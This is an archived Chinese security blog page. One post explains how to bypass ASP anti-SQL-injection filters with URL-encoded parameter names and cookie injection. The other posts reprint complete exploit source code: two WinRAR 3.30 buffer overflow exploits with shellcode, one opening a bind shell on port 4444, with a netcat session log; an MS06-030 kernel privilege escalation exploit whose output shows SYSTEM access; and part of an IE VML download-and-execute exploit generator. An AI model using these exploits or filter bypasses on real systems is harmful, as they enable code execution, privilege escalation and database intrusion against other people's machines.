存档

‘矩阵毒刺’ 分类的存档

一种防注入代码的绕过学习总结

2006年10月15日 没有评论 53 views

  文章的想法,就是学习记录一下这个学习的过程……没有创新的东东,都是前辈的东西。自己的总结……前些阵子讯时系统爆出了很多洞,先看他的怎么写的,下面是从他的admin_conn.asp文件中找到的。

sss=LCase(request.servervariables(”QUERY_STRING”))
if instr(sss,”select”)<>0 or instr(sss,”inster”)<>0 or instr(sss,”delete”)<>0 or

instr(sss,”(”)<>0 or instr(sss,”‘or”)<>0 then
response.write “你的网址不合法”
response.end
end if

  代码使用了 request.servervariables的方法来获得传递过来的数据,然后赋值给sss。再判断传递过来的sss变量中是否含有 select,inster等敏感的字符串,只要有就结束程序。给普通注入造成了极大的麻烦,需要有新的东西出现来突破这个防注入。
  现已知的有两种方法:
  1.使用URL编码我们传递的数据,比如select可以编码为selec%74(即将t转换为url编码),这样就可以实现注入了!
  2.使用cookies注入。
  先 看看第1种怎么实现的吧。因为程序接受的参数使用的是request.servervariables,呵呵,这个方法和我们平时的request不太一 样的,因为它接受的数据都会原封不动的接受的,比如我们传递了selec%74,那么这里sss里就会是selec%74,而不是已经解码的select 字符串了。当下面的判断语句来判断时会因为select<>selec%74而绕过检测!
  第 2种利用了request的cookie方法来传递数据,为什么呢?看程序的代码我们知道因为他只判断了使用 request.servervariables(”QUERY_STRING”)来接受的数据,我们如果用cookie来传递的话,程序当然不会去检测了,只要在前面的代码中找到一处使用request的方法接收变量的地方。这就是cookie的注射了。比如:前面有这样代码我们就可以实现cookie 注射了.这次代码在讯时admin_news_view.asp中截的。

  <%
newsid=trim(request(”newsid”))
sql = “select * from news where id=”&newsid
Set rs = Server.CreateObject(”ADODB.RecordSet”)
rs.Open sql,conn,1,1
title=rs(”title”)
dat=rs(”time”)
hit=rs(”hit”)+1
content=rs(”content”)
%>


  使用了request接收,而它会依次的去用3种数据集合(Form,QueryString,cookie)去判断,所以我们可以使用cookie来提交我们构造的SQL语句了.这里就不在截图了,具体可以参考这篇文章《最新版讯时新闻发布系统惊爆cookie漏洞》
  但是并不是所有的程序都这么另人兴奋的哦,上次入侵一个站时,就碰到了这种情况,找到了源码下来看,却没有突破这个防注入。代码如下:

sub check()
Fy_Url=Request.ServerVariables(”QUERY_STRING”)
Fy_a=split(Fy_Url,”&”)
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),”=”)-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>”" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0 or Instr(LCase(Request(Fy_Cs

(Fy_x))),”and”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”select”)<>0 or Instr(LCase

(Request(Fy_Cs(Fy_x))),”union”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”from”)<>0 or

Instr(LCase(Request(Fy_Cs(Fy_x))),” “)<>0 Then
response.Write(”嘿嘿,不要你注射!屏蔽了关键字,但是这个屏蔽程序却不好——如何突破呢?”)
Response.End
End If
End If
Next
end sub

  这样的代码,都是用了Request.ServerVariables(”QUERY_STRING”)来接收的数据,但是你直接将注入的字符URL编码,会看到仍不能注射!
  那到底怎么去突破呢?看下面!lake2大牛曾经写过一篇突破这种防注入的大作,这个方法也就是大牛发现的! 写的很详细哦,我们就引用大牛的话来解释一下这个绕过机制。“Request.ServerVariables(”QUERY_STRING”)是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。”下面是我的理解,因为程序使用 Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0这样的判断语句,它是判断了name的值即 value,而且使用request来接收数据的.前面我们如果在url里value我们用url编码后来提交,然后当值传递到这里,就又会被解码了,所以程序可以检测得到.注意,但它只是判断了name的值即value,但对name,可以看到没有判断,而它又是通过name这个变量名来判断SQL语句的,所以只要用url编码name就可以了,然后程序仍是去判断name的值,但是这次是i%64,会被转换为id,可是我们并没有赋值给id而是 i%64,呵呵,那么id的值它就会认为是空,就这样绕过了哦!
  可以看出只要能保证前面接收的方式不能解码,后面判断的语句可以解码就可以绕过了。后来胡思乱想到了chr()函数,只是YY了一下…..也没成。
  而且这里是不是也可以用cookie注射呢?我测试的时候没有成,可能找的不是用request接受的地方…就记录这些……

分类: 矩阵毒刺 标签:

WinRAR 3.30 Long Filename Buffer Overflow Exploit

2006年9月29日 没有评论 64 views

代码1:

/* WinRAR Buffer Overflow 3.30 Exploit 

* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team 
* Exploit made by: K4P0 
* Contact: <a href="mailto:k4p0k4p0@hotmail.com">k4p0k4p0@hotmail.com</a> 
*/ 

#include <stdio.h> 
#include <windows.h> 

int main(void) 

  char EvilBuff[1024]; 

  // Normal cmd.exe shellcode. 
  char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" 
          "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6" 
        "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" 
              "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; 

  char jmpesp_offset[] = "\x0F\x98\xF8\x77"; 
  char Prog[1024] = "WinRAR "; 

  printf("WinRAR Buffer Overflow 3.30 Exploit\n\n"); 
  printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n"); 
  printf("Exploit made by: K4P0\n"); 
  memset(EvilBuff, 0x00, 1024); 
  memset(EvilBuff, 0x41, 510); 
  strncat(EvilBuff, jmpesp_offset, 1024); 
  strncat(EvilBuff, shellcode, 1024); 
  strncat(Prog, EvilBuff, 1024); 
  printf("\nExploiting...\n"); 
  system(Prog); 
  return 0; 


// milw0rm.com [2006-01-04] 


代码2:

/* 
  IHS public source code 
  WinRAR 3.3.0 and below local BOF exploit 
  author : c0d3r , kaveh razavi <<a href="mailto:c0d3r@ihsteam.com">c0d3r@ihsteam.com</a>> 
  advisory : <a target="_blank" href="http://www.securityfocus.com/archive/1/420679">http://www.securityfocus.com/archive/1/420679</a> 
  tnx to alpha who reported the vulnerability 
  workaround: use the lastest version 
  special tnx to LorD and NT of IHS (my workmates and best friends) 
  <a target="_blank" href="www.ihsteam.com">www.ihsteam.com</a> 
  <a target="_blank" href="www.ihsteam.net">www.ihsteam.net</a> 
  <a target="_blank" href="www.c0d3r.org">www.c0d3r.org</a> 
  showing some of iranian kids what real hacking is . 
  specially those who think changing a name server is hacking =) 
*/ 

#include<stdio.h> 
#include<string.h> 
#include<winsock2.h> 
#pragma comment(lib, "ws2_32.lib") 
#define NOP 0x90 
#define size 930 

char exploit[size]; 
char winxpsp1[]   = "\xCC\x59\xFB\x77"; // jmp esp in ntdll 
char winxpsp2[]   = "\xED\x1E\x94\x7C"; // jmp esp (not tested) 
char win2ksp4[]   = "\xBB\xED\x4F\x7C"; // call esp in kernel32.dll 
char win2k3_sp0[] = "\xAB\x8B\xFB\x77"; // jmp esp in ntdll 
char win2k3_sp1[] = "\x6A\xFA\xE8\x77"; // push esp - ret in kernel32 
char *exec[3]; 
char point_esp[5]; 
unsigned int os; 

// metasploit shellcode LPORT=4444 
unsigned char shellcode[] = 
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" 
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" 
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" 
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" 
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" 
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" 
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" 
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" 
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" 
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" 
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" 
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" 
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" 
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" 
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" 
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" 
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" 
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" 
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" 
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" 
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" 
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" 
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" 
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; 

usage(){ 

printf("-------- usage : ihs_winrar.exe OS_VER\n"); 
printf("-------- target 1 : windows xp service pack 1       : 0\n"); 
printf("-------- target 2 : windows xp service pack 2       : 1\n"); 
printf("-------- target 3 : windoes 2k advanced server sp 4   : 2\n"); 
printf("-------- target 4 : windoes 2k3 server enterprise sp0 : 3\n"); 
printf("-------- target 5 : windoes 2k3 server enterprise sp1 : 4\n"); 
printf("-------- eg : ihs_winrar.exe 2\n\n");   
exit(-1) ; 

int main(int argc , char **argv){ 

printf("\n-------- WinRAR 330 and below Local BOF exploit by c0d3r\n"); 
if(argc < 2) 
  usage(); 
printf("\n"); 
os = (unsigned short)atoi(argv[1]);   
switch(os) 

  case 0: 
  strcat(point_esp,winxpsp1); 
  printf("[+] target : windows xp service
 pack 1\n"); 
  break; 
  case 1: 
  strcat(point_esp,winxpsp2); 
  printf("[+] target : windows xp service pack 2\n"); 
  break; 
  case 2: 
  strcat(point_esp,win2ksp4); 
  printf("[+] target : windows 2000 advanced server service pack 4\n"); 
  break; 
  case 3: 
  strcat(point_esp,win2k3_sp0); 
  printf("[+] target : windows 2003 server enterprise service pack 0\n"); 
  break; 
  case 4: 
  strcat(point_esp,win2k3_sp1); 
  printf("[+] target : windows 2003 server enterprise service pack 1\n"); 
  break; 
  default: 
  printf("\n[-] this target doesnt exist in the list\n\n"); 
  
  exit(-1); 


printf("[+] exploit string is %d byte\n",size); 
printf("[+] shellcode is %d byte\n", sizeof(shellcode)-1); 
printf("[+] making exploit string :)\n"); 
memset(exploit,NOP,size); 
memcpy(exploit+516,point_esp,sizeof(point_esp)-1); 
memcpy(exploit+530,shellcode,sizeof(shellcode)-1); 
exploit[size]=0x00; 
printf("[+] exploit string ready\n"); 
printf("[+] preparing the executer\n"); 
exec[0]="WinRAR.exe"; 
exec[2]=NULL; 
exec[1]=exploit; 
printf("[+] executer ready\n"); 
printf("[+] exploiting ........\n"); 
execve(exec[0],exec,NULL); 

return 0x0; 

/* 

I:\Program Files\WinRAR>ihs_winrar 2 

-------- WinRAR 330 and below Local BOF exploit by c0d3r 

[+] target : windows 2000 advanced server service pack 4 
[+] exploit string is 930 byte 
[+] shellcode is 399 byte 
[+] making exploit string :) 
[+] exploit string ready 
[+] preparing the executer 
[+] executer ready 
[+] exploiting ........ 

I:\Program Files\WinRAR>nc -vv 127.0.0.1 4444 
iran [127.0.0.1] 4444 (?) open 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-2000 Microsoft Corp. 

I:\Program Files\WinRAR> 

*/ 

// milw0rm.com [2006-01-04] 

分类: 矩阵毒刺 标签:

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege

2006年9月25日 没有评论 62 views

/*
MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Windows XP PRO SP2 Chinese
Windows XP PRO SP2 English

Usage:ms06-030.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{"PsLookupProcessByProcessId"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xc4\x00\x00\x00\x5f\x4f\x47\x66\x81\x3f\x90\xcc"
"\x75\xf8\x66\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\xbe\x38\xf0"
"\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7\x95"
"\x8b\xf7\x6a\x02\x59\xe8\x4d\x00\x00\x00\xe2\xf9\x8b\x4e\x0c\xe8"
"\x29\x00\x00\x00\x50\x8b\x4e\x08\xe8\x20\x00\x00\x00\x5a\x8b\x7e"
"\x1c\x8b\x0c\x3a\x89\x0c\x38\x56\x8b\x7e\x14\x8b\x4e\x18\x8b\x76"
"\x10\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3\x83\xec\x04"
"\x8d\x2c\x24\x55\x51\xff\x56\x04\x85\xc0\x0f\x85\x80\x8f\x00\x00"
"\x8b\x45\x00\x83\xc4\x04\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78"
"\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33"
"\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1"
"\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e"
"\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x37\xff\xff"
"\xff\x90\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%d\n", msg, GetLastError());
ExitProcess(0);
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PVOID pDrivers[256];
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode;
PUCHAR pRestoreBuffer, pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
OSVERSIONINFO ovi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
USHORT index;
HANDLE hDevice, hFile;

printf("\n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t
 create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if(!GetVersionEx(&ovi))
ErrorQuit("GetVersionEx failed.\n");

if(ovi.dwMajorVersion != 5)
ErrorQuit("Not Windows NT family OS.\n");

printf("Major Version:%d Minor Version:%d\n", ovi.dwMajorVersion, ovi.dwMinorVersion);
switch(ovi.dwMinorVersion)
{
case 0: //Windows2000
SystemId = 8;
TokenOffset = 0x12c;
break;

case 1: //WindowsXP
SystemId = 4;
TokenOffset = 0xc8;
break;

case 2: //Windows2003
SystemId = 4;
TokenOffset = 0xc8;
break;

default:
SystemId = 8;
TokenOffset = 0xc8;
}

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
ErrorQuit("EnumDeviceDrivers failed.\n");

for(i = 0; i < (Byte / sizeof(PVOID)); i++)
{
if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
ErrorQuit("GetDeviceDriverBaseName failed.\n");

if(!strnicmp(DriverName, "mrxsmb.sys", 10))
{
BaseAddress = (ULONG)pDrivers[i];
printf("Mrxsmb.sys Base Address:%x\n", BaseAddress);
break;
}
}

if(!BaseAddress)
ErrorQuit("No address of mrxsmb.sys has been found.\n");

pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);
// \device\LanmanRedirector
hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
printf("%s Address:%x\n", pName, HookAddress);
memcpy(pRestoreBuffer, pBase + pFunctionsArray[index], 0x20);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = SystemId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress;
buf[j++] = 0x20;
buf[j++] = TokenOffset;

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

Value = (0xe9 << 8) & 0xff00;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xff00) != Value)

memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xfff0) != Value)
{
memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
ErrorQu
it("DeviceIoControl failed.\n");

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hDevice);
CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}


Usage:

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\>ms06-030

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exp
loit

create by SoBeIt.

Kernel base address: 804d8000
Major Version:5 Minor Version:1
Mrxsmb.sys Base Address:f596e000
Allocated address:420000
File size:214600
NtVdmControl Address:805bab48
Need value: e900
Value:e900
Need value: 8060
Value:18060
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

分类: 矩阵毒刺 标签:

IE VML BufferOverflow Download Exec Exploit 修改版

2006年9月22日 没有评论 42 views

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:gyzy


所有代码都修改自NOP的模版,在此表示感谢。方便大家的研究写了个生成器,欢迎大家下载测试。NOP在milw0rm.com上公布的代码里有点小问题。填上了自己的shellcode,将第一个字节改成\xCC后发现shellcode的解码部分连续出现的三个\xFF中的后面两个会被破坏,这和以前的Serv-U溢出一样,所以在头部加入几个修正字节:
__asm{
add [esp+0x2E],0xC0
add [esp+0x2F],0xFF
}
重新测试,成功。测试环境Win2000 Professional SP4 + IE5.0

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "resource.h"

FILE *fp = NULL;
HWND hdlg;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

INT_PTR CALLBACK DialogProc(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
void create(char* url);

/* Search Shellcod
\x80\x44\x24\x1A\xC0
\x80\x44\x24\x1B\xFF
*/

unsigned char sh4llcode[] =
"\x80\x44\x24\x2E\xC0\x80\x44\x24\x2F\xFF\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
